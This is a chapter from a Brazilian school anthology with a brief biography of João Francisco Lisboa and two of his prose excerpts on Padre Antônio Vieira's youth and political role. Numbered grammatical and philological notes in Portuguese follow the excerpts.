CAPÍTULO 1
FASE CONTEMPORÂNEA
(Século XIX, depois de 1820)
ESCRITORES BRASILEIROS
JOÃO FRANCISCO LISBOA (Maranhão, 1812-1863) redigiu com brilhantismo diversas folhas desde 1832 até 1836, época em que interrompeu os labores da imprensa, que aliás pouco mais tarde reencetou. Em 1852 começou a publicação de uma interessante revista, Jornal de Timon, onde escreveu à luz dos documentos a história civil, econômica e administrativa do Maranhão.
Incumbido, pelo governo, de coligir documentos históricos, partiu para Lisboa, e aí morreu, deixando uma obra póstuma — A Vida do Padre Antônio Vieira. O finado Antônio Henriques Leal publicou as obras completas de Lisboa, de quem disse Inocêncio da Silva ter sido "um espírito penetrante, que reunia às teorias uma dição copiosa, castiça e fluente".
Vocação de Vieira
Não contava bem Antônio Vieira oito anos de idade quando em 1615, teve de acompanhar sua família para a metrópole (1) do Brasil. Da razão desta viagem não há cabal certeza (2); mas presume-se que Cristóvão Vieira Ravasco, seu pai, viera despachado a servir algum emprego, talvez o de secretário do Estado, que depois exerceu durante toda a vida seu filho Bernardo Vieira Ravasco, irmão mais novo do padre.
Mal desembarcou na Bahia, começou este a estudar os primeiros rudimentos e humanidades, freqüentando as escolas dos Jesuítas, que floresciam então ali, como em toda parte, com grande aproveitamento da mocidade. Mostrava-se Antônio Vieira assíduo e fervoroso nos estudos, e lidava deveras por avantajar–se aos demais seus condiscípulos; mas conta-se que nos primeiros tempos, apesar da natural vivacidade que desde os mais tenros anos manifestara, não pudera fazer grandes progressos, pelo não ajudar a memória rude e pesada (3), e como toldada (4) de espessa nuvem. Era o estudante grande devoto da Virgem; e um dia que, ajoelhado ante sua imagem, e cheio do pesar e abatimento que lhe causava aquela natural incapacidade, a implorava em fervorosa oração para que o ajudasse a vencer semelhante obstáculo, de repente sentiu como um estalo e dor aguda na cabeça, que lhe pareceu ali acabaria a vida (5). Era a Virgem que sem dúvida escutara e deferia a súplica ardente e generosa; e era o véu espesso, que trazia em tão indigna escuridade aquele juvenil engenho, que num momento se rasgava e desfazia (6) para sempre. Guiou (7) dali Vieira para a escola com grande alvoroço, e sentiu-se tão outro do que fora até então, que logo animosamente pediu para argumentar (8) com os mais sabedores e adiantados. E a todos (9) venceu e desbancou, com entranhável assombro do mestre, que bem conheceu andava naquilo grande novidade. Assim o referem pelo menos as crônicas da Ordem; e, se a anedota não é verdadeira, é pelo menos calculada para dar uma côr romanesca e maravilhosa aos primeiros lampejos deste engenho novel (10), que mais tarde havia deslumbrar o mundo pelo seu extraordinário fulgor.
(Obras Completas, Tomo IV, p. 9)
Importância Política de Vieira
A parte que em tais negócios tomava o padre Antônio Vieira, consistia em repetidas missões a diversas cortes da Europa, e em planos e arbítrios que propunha a el-rei, sobre a administração, guerra, marinha e outros assuntos. Esses trabalhos enumerou-os êle (11) largamente em uma carta apologética que escreveu ao conde da Ericeira, e cuja data ignoramos por se ter perdido o final dela. (É a 118.a do T. 2.°). Ali vemos que propôs a criação de duas companhias (12) de comércio, à imitação das da Holanda, uma para o Brasil e outra para a Índia. A quimera chegou a organizar-se, posto que mais tarde. O seu fim era enriquecer Portugal pelo comércio, proporcionan-do-lhe ao mesmo tempo meios de fazer a guerra a seus inimigos, e de manter a possessão das suas colônias contra a Holanda.
Nesse mesmo intento, e considerando porventura mais difícil conservar a Índia que o Brasil, propôs que se cuidasse seriamente de transplantar para esta última região as drogas daquela, porquanto com este expediente ficaria completamente arruinado o comércio que a Holanda fazia no Oriente, podendo Portugal fornecê-las à Europa por preços muito mais vantajosos, como quem as trazia de mais perto, e com menos custo.
Entretanto, assevera Constâncio na sua História do Brasil (T. I, ps. 472 e 473) que o procurador da fazenda Pedro Fernandes Monteiro fora quem em 1647 propusera a criação de uma companhia de comércio do Brasil, plano que foi adotado pela Mesa de consciência e ordens; ao passo que o P. Antônio Vieira, a quem el-rei comunicou as deliberações, aconselhara o abandono e sacrifício de Pernambuco para se conservar a Índia, expondo a sua opinião em um memorial, cujas razões pareceram tão sólidas a D. João IV, que o denominou de papel forte. Sem contestarmos a veracidade destas notícias, só diremos que Antônio Vieira nos transmite as suas em contrário, na carta já citada, com tais circunstâncias e pormenores que seria temeridade pô-las em dúvida. (13) E no Portugal Restaurado, tratando o conde da Ericeira dos sucessos deste ano de 1647, refere o mesmo (14) que nós coligimos da carta de Vieira, isto é, que o padre votara pela conservação do Brasil, depois de resumir e comparar em um escrito brilhante todas as opiniões do conselho que el-rei havia submetido ao seu exame.
Para acudir ao Brasil, propôs igualmente o padre a compra de quinze fragatas de trinta peças, que em Amesterdão lhe ofereceram por vinte mil cruzados cada uma, postas em Lisboa aparelhadas de todo o necessário. O alvitre agradou, mas para o pôr por obra (15) eram necessários trezentos mil cruzados, e não os havia à mão. Indicou Vieira um leve imposto sobre a frota que havia chegado do Brasil naqueles dias, opulentíssima de mais de quarenta mil caixas de açúcar. Mandou-lhe Sua Majestade que pusesse tudo aquilo em um papel sem lábia, e, passados poucos dias, fêz-lhe saber que, mandando consultá-lo por seus ministros, responderam estes que o negócio estava muito cru (16). Mas eis que apenas passam seis meses, e chegam notícias de como Segismundo apertava com a Bahia, e fazia grande falta a armada que não comprara nem mandara. Interpelado Vieira por el-rei acerca desta dificuldade com as seguintes palavras: — Que vos parece que façamos? — "O negocio, senhor (respondeu êle), é mui fácil. Não disseram a V. M. os ministros que aquele negocio era muito cru? Pois então cozam-no (17) agora.
O cortesão triunfava sem muita caridade dos embaraços dos ministros e ainda do seu próprio rei. Esses embaraços não pararam aqui. Assentou-se em conselho que era indispensável socorrer a Bahia, e para isso se havia mister de trezentos mil cruzados, sem ocorrer todavia a maneira de achá-los (18). Tornou el-rei a comunicar o caso com o padre, e este lhe respondeu indignado: "Basta, senhor, que a um rei de Portugal hão de dizer seus ministros que não há meio de haver 300.000 cruzados com que acudir ao Brasil, que é tudo o que hoje temos! Ora, eu com esta roupeta remendada espero em Deus que hoje mesmo hei de dar a V. M. toda esta quantia". — E assim foi, que (19) a obteve imediatamente de empréstimo por intermédio de um negociante, seu amigo e antigo conhecido do Brasil.
A notícia destas e outras proezas semelhantes, e especialmente a do projeto da Companhia Ocidental, fêz dizer aos mais abalizados políticos de Roma — que, pois havia em Portugal sujeitos tão cabais que sabiam excogitar semelhantes arbítrios (20), já não era possível duvidar da conservação do reino, apesar de todo o poder dos seus inimigos.
(Idem, t. IV, parte II, p. 341)
(1) No vocábulo metrópole a composição se faz com os elementos gregos polis, cidade, e meter, mãe (não métron, medida): cidade matriz; der.: metropolita, metropolitano, (2) O objeto direto acha-se aí cindido pelo verbo, maneira que responde à trama bem urdida dos escritos clássicos; e a proposição seguinte, apassivada: presume-se, de que é sujeito a oração que se lhe pospõe, é molde comum no idioma: Espera-se que… julga-se que, afirma-se que, — nas quais o que enceta a oração subjetiva. (3) pelo não ajudar a memória — Construção menos usada hoje, na qual se combina com a preposição per o pronome pessoal acusativo, à semelhança do que constantemente ocorre com o articular e com o demonstrativo o. Mário Barreto, em Novos Estudos alinha dezenas de exemplos comprobatórios (2.a ed., pp. 111-118). (4) toldada = encoberta, ensombrada, obscurecida anuveada. (5) Acabar a vida = morrer; ou simplesmente acabar: "Olha como em tão justa e santa guerra / de acabar pelejando está contente" (Lus. VIII, 17); "Chefe de idéias, como, por irrisão, me chamaram, convencido estou já hoje, de que acabarei sem que as minhas tenham o seu dia"… (Rui, Osv. Cruz, 1917, p. 5). (6) Cabe a partícula se a ambos os verbos, por antecedê-los; repetir-se-ia, se lhes fosse posposta: rasgava-se e desfazia-se. Em Rui: "É graças à… vontade popular, que as democracias se depuram, esclarecem e legitimam.’* {Estante Clássica, 1.° vol., p. 74). A ênfase, todavia, leva, às vezes, a repetir-se o pronome átono anteposto. (7) Guiou (v. intr.) = encaminhou-se, endireitou, dirigiu-se. (8) "…pediu para argumentar com os mais sabedores e adiantados." Um dos usos sintáticos do verbo pedir, tachado de erro por alguns: pedir para. Aceita-se, todavia, pois em tal construção se subentende o termo vénia, permissão, licença, concessão, como alvitrou Rui na Réplica (nota ao n. 95, p. 136). Em Man. Bernardes lê-se explícito o objeto direto: "Pediu êle licença para responder (TV. Floresta, II, p. 258, apuâ Rui), como em Fr. Luís de Sousa: "…determinou partir-se logo, e pediu licença ao Prior para o fazer acabando de comer" ( Vida do Arceb., apuâ M. Barreto, Factos da L. Fort., p. 218); mas, omitido esse complemento, não deixa de entender-se, como aqui: "pediu [vénia ou permissão] para argumentar"… Convém ainda esclarecer que, na sintaxe comum de pedir algo a alguém, quando o objeto direto é uma oração, esta se inicia naturalmente pela integrante que: pediu ao mestre que lhe desfizesse a dúvida: e o sujeito do segundo verbo é, quase sempre, o mesmo ser expresso no objeto indireto do primeiro; ao passo que, na construção de pedir para, o sujeito do segundo verbo é, no geral, o mesmo do primeiro. Assim, coexistem as duas construções: Pedro pediu a Paulo que o acompanhasse na excursão, isto é, que Paulo o acompanhasse; Pedro pediu [licença, permissão] a Paulo para acompanhá-lo na excursão, isto é, para êle, Pedro, acompanhar a Paulo. É o que parece razoavelmente claro. Evite-se, pois, pedir para que fulano faça algo ou para fulano fazer algo. Peça-se-Zfce que faça algo. Pode-se, contudo, pedir-lhe- [concessão, autorização, licença] para percorrer-lhe a chácara ou para ver-lhe a livraria. Nas sete abonações de pedir para que M. Barreto exara em nota à p. 280 dos seus Novíssimos Estudos, verifica-se o que se fêz notar acima, isto é, que o sujeito do segundo verbo é o mesmo do verbo pedir. (9) E a todos— — objeto direto dos dois verbos, por elegância preposicionado. (10) novel — vocábulo agudo e não grave, como vulgarmente o fazem; pl. novéis, do íat. novellu (11) Esses trabalhos enumerou-os êle… Construção em que, por clareza não menos que elegância, se repete, sob a forma do pronome oblíquo, o objeto direto, que iniciou o período; como em Rodrigues Lobo: "Um amigo tão buscado / um pastor tão escolhido, / quem o não chora perdido / não no tinha bem ganhado". (Êglogas, V. vv. 336-340); ou em Rui: "Boa parte dessa semente de infortúnio, espalharam-na, à travessia, os sopros do oceano." {Orações do Apóstolo, p. 53). Tal se dá igualmente com o objeto indireto: "Ao pobre não lhe devo, ao rico não lhe peço" (Rodrigues Lobo, O Pastor Peregrino, p. 20), e com o predicativo do sujeito: "Arquiteto do mosteiro de Santa Maria, já o não sou". (A. Herculano, Lendas e Narrativas, tomo I, p. 266). (12) Evite o estudante na leitura a má pronúncia mui generalizada: compania. (13) O infinitivo independente pede a ênclise. (14) o mesmo: obj. dir. do v. referir. (15) pôr por obra—levar a efeito, realizar. (16) Do sentido originário, de sangrento, passou o adjet. cru (crudu no latim) a designar o que não está cozido; e, aqui, o que está muito em começo. (17) cozer (de *cocere, por coquere) cozinhar; diverso de coser (de consuere) ligar," enlaçar, costurar: cozido e cosido. (18) Fica indiferente a colocação do pronome oblíquo quando o infinitivo independente estiver preposicionado: de achá-los ou de os achar. (19) que ~ pois que, causal. (20) arbítrio (voz erudita), alvitre, alvidre e alvedrio (este com deslocação da tônica) são formas alotrópicas ou divergentes do lat. arbitrium.
Seleção e Notas de Fausto Barreto e Carlos de Laet. Fonte: Antologia nacional, Livraria Francisco Alves.
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